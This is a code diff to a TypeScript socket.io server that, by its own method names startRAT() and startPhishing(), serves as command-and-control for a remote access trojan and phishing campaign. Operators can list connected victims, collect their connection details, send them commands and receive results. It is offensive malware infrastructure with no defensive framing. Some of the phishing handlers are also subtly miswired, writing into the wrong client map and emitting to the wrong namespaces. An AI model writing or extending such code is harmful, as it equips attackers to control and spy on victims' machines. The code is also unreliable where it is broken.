|
|
@@ -6,8 +6,13 @@ class Ws {
|
|
|
public io: Server
|
|
|
public clientsIO: Namespace
|
|
|
public adminIO: Namespace
|
|
|
+ public phiClientIO: Namespace
|
|
|
+ public phiAdminIO: Namespace
|
|
|
private booted = false
|
|
|
+
|
|
|
private clients: { [key: string]: any } = {}
|
|
|
+ private phiClients: { [key: string]: any } = {}
|
|
|
+
|
|
|
public boot() {
|
|
|
/**
|
|
|
* Ignore multiple calls to the boot method
|
|
|
@@ -23,6 +28,12 @@ class Ws {
|
|
|
origin: '*'
|
|
|
}
|
|
|
})
|
|
|
+
|
|
|
+ this.startRAT()
|
|
|
+ this.startPhishing()
|
|
|
+ }
|
|
|
+
|
|
|
+ public startRAT() {
|
|
|
this.clientsIO = this.io.of('client')
|
|
|
this.adminIO = this.io.of('admin')
|
|
|
|
|
|
@@ -73,6 +84,58 @@ class Ws {
|
|
|
})
|
|
|
})
|
|
|
}
|
|
|
+
|
|
|
+ public startPhishing() {
|
|
|
+ this.phiClientIO = this.io.of('phiClient')
|
|
|
+ this.phiAdminIO = this.io.of('phiAdmin')
|
|
|
+
|
|
|
+ this.phiClientIO.on('connection', (socket: Socket) => {
|
|
|
+ Logger.info('Client connected ' + JSON.stringify(socket.handshake))
|
|
|
+ this.clients[socket.id] = {
|
|
|
+ ...socket.handshake
|
|
|
+ }
|
|
|
+
|
|
|
+ socket.on('disconnect', (reason) => {
|
|
|
+ Logger.info('Client disconnected ' + reason)
|
|
|
+ delete this.clients[socket.id]
|
|
|
+ })
|
|
|
+
|
|
|
+ socket.on('info', (data) => {
|
|
|
+ this.phiClientIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
|
|
|
+ })
|
|
|
+
|
|
|
+ socket.on('result', (args: { to: string; action: string; data: any }) => {
|
|
|
+ Logger.info('got cmdResult ' + JSON.stringify(args))
|
|
|
+ this.adminIO.to(args.to).emit('result', {
|
|
|
+ from: socket.id,
|
|
|
+ action: args.action,
|
|
|
+ data: args.data
|
|
|
+ })
|
|
|
+ })
|
|
|
+ })
|
|
|
+
|
|
|
+ this.phiAdminIO.on('connection', (socket: Socket) => {
|
|
|
+ Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
|
|
|
+ socket.on('clients', (args) => {
|
|
|
+ this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
|
|
|
+ })
|
|
|
+ socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
|
|
|
+ Logger.info(
|
|
|
+ 'sent cmd ' +
|
|
|
+ JSON.stringify({
|
|
|
+ from: socket.id,
|
|
|
+ action: args.action,
|
|
|
+ data: args.data
|
|
|
+ })
|
|
|
+ )
|
|
|
+ this.clientsIO.to(args.to).emit('cmd', {
|
|
|
+ from: socket.id,
|
|
|
+ action: args.action,
|
|
|
+ data: args.data
|
|
|
+ })
|
|
|
+ })
|
|
|
+ })
|
|
|
+ }
|
|
|
}
|
|
|
|
|
|
export default new Ws()
|